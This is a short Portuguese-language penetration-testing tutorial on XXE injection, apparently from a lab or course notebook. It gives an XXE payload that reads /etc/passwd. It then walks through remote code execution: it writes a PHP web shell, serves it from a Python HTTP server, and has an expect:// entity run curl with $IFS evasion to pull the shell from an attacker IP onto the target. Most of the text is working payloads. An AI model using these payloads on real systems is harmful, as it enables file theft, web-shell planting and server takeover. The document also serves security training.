Identificar XXE
O primeiro passo para identificar potenciais vulnerabilidades XXE é encontrar páginas da web que aceitem uma entrada XML do usuário.
Se preenchermos o formulário de contato e clicarmos em
Send Data
, então interceptamos a solicitação HTTP com Burp
Lendo arquivos confidenciais
Vamos agora enviar a solicitação modificada e ver se o valor da nossa entidade XML externa é definido para o arquivo ao qual fazemos referência:
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>

Execução Remota de Código com XXE
O método mais eficiente para transformar XXE em RCE é buscar um web shell do nosso servidor e escrevê-lo no aplicativo web, e então podemos interagir com ele para executar comandos. Para fazer isso, podemos começar escrevendo um web shell PHP básico e iniciando um servidor web python, como segue:
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80
Agora, podemos usar o seguinte código XML para executar um
curl
comando que baixa nosso shell da web no servidor remoto:
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
Last updated